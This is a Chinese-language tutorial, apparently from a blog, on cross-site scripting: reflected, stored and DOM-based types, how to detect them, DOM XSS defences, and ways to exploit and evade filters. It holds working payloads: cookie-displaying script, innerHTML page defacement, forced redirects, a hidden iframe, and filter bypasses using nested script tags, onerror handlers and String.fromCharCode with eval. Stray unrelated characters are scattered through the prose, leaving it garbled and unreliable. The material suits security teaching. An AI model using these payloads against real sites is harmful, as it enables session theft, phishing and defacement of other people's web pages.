xss: 全稱cross-site scripting寄啼,是用于攻擊Web客戶端而不是服務(wù)器端,其最大的特點(diǎn)是能把惡意的JS或HTML代碼注入到用戶瀏覽的網(wǎng)頁上代箭。而XSS漏洞的存在墩划,主要是由于Web應(yīng)用程序?qū)τ脩舻妮斎霙]有進(jìn)行嚴(yán)格的過濾所導(dǎo)致的,當(dāng)攻擊者把惡意代碼注入到網(wǎng)頁時(shí)嗡综,用戶只要訪問該網(wǎng)頁就會(huì)執(zhí)行其中的惡意代碼乙帮。
-
反射型xss(非持久): 反射型xss一般是指自定義內(nèi)容發(fā)送的服務(wù)器,服務(wù)器返回到客戶端顯示時(shí)產(chǎn)生的腳本執(zhí)行蛤高。常見在搜索功能中蚣旱。
檢測方式: 輸入數(shù)據(jù)提交碑幅,看返回的內(nèi)容是不是還是原來的內(nèi)容戴陡,若是則很大可能存在漏洞塞绿。有時(shí)候返回的網(wǎng)頁信息可能沒有顯示原來輸入的內(nèi)容,但是可以通過查看網(wǎng)頁源代碼可以查看輸入的內(nèi)容有沒有注入到網(wǎng)頁的html代碼中恤批,若有則也明顯存在异吻。主要用于竊取客戶端cookie和釣魚欺騙。
<script>alert(/xss/)</script>
<a href=https://www.baidu.com>click</a>
<a href=’’ onclick=alert('xss')>type</a>
去相應(yīng)的網(wǎng)站訪問不到相應(yīng)的圖片文件時(shí)就報(bào)錯(cuò)彈窗:
<img src=http://10.10.10.137/alan.jpg onerror=alert('xss')>
-
存儲(chǔ)型xss:(持久) 存儲(chǔ)型xss是指用戶輸入的xss腳本存儲(chǔ)到了數(shù)據(jù)庫中喜庞,例如留言板功能诀浪,每次查看留言時(shí)都會(huì)觸發(fā)。
檢測方式: 在留言板內(nèi)容中輸入
<script>alert(document.cookie)</script>
彈出cookie信息
-
DOM型xss: 其實(shí)是一種特殊類型的反射型XSS延都,它是基于DOM文檔對象模型的一種漏洞雷猪。客戶端的腳本程序可以通過DOM來動(dòng)態(tài)修改頁面內(nèi)容晰房,從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行求摇。基于這個(gè)特性殊者,就可以利用JS腳本來實(shí)現(xiàn)XSS漏洞的利用与境。
DOM: 全稱Document Object Model,是一個(gè)平臺和語言都中立的接口猖吴,可以使程序和腳本能夠動(dòng)態(tài)訪問和更新文檔的內(nèi)容摔刁、結(jié)構(gòu)以及樣式。
檢測方式:構(gòu)造payload
<script>alert(/xss/)</script>
觸發(fā)彈窗‘海蔽;alert(/xss/)//
(注意) javascript中var 用于聲明變量共屈,為變量聲明文本值時(shí)加引號如var $a='xxx';
所以要閉合前一個(gè)單引號,注釋后一個(gè)單引號才能觸發(fā)彈窗党窜。防御方法: DOM型XSS主要是由客戶端的腳本通過DOM動(dòng)態(tài)地輸出數(shù)據(jù)到頁面而不是依賴于將數(shù)據(jù)提交給服務(wù)器端趁俊,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,因而僅從服務(wù)器端是無法防御的刑然。
- 避免客戶端文檔重寫寺擂、重定向或其他敏感操作,同時(shí)避免使用客戶端數(shù)據(jù)泼掠,這些操作盡量在服務(wù)器端使用動(dòng)態(tài)頁面來實(shí)現(xiàn)怔软;
- 分析和強(qiáng)化客戶端JS代碼,特別是受到用戶影響的DOM對象择镇,注意能直接修改DOM和創(chuàng)建HTML文件的相關(guān)函數(shù)或方法挡逼,并在輸出變量到頁面時(shí)先進(jìn)行編碼轉(zhuǎn)義,如輸出到HTML則進(jìn)行HTML編碼腻豌、輸出到<script>則進(jìn)行JS編碼家坎。
4. 利用XSS漏洞
- 利用innerHTML:用于纂改頁面
<script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>
- 利用 重定向:
<script>window.location='https://www.baidu.com'</script>
<iframe SRC="http://www.sina.com" height="0" width="0"></iframe>
5. xss字符過濾
- <script>標(biāo)簽的S大寫
- 如果源碼匹配大小寫:
<scr<script>ipt>alert("xss")</scr</script>ipt>
- 如果源碼中發(fā)現(xiàn)傳到后臺的字符串中如果存在“script”(大小寫不分)嘱能,就會(huì)返回error:
<img src=1 onerror=alert("xss")>
name=<a herf="x" onclick="alert(/xss/)">test</a>
- 傳到后臺的字符串中如果存在“alert”(大小寫不分),就會(huì)返回error:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 65, 78, 89, 34, 41))</script>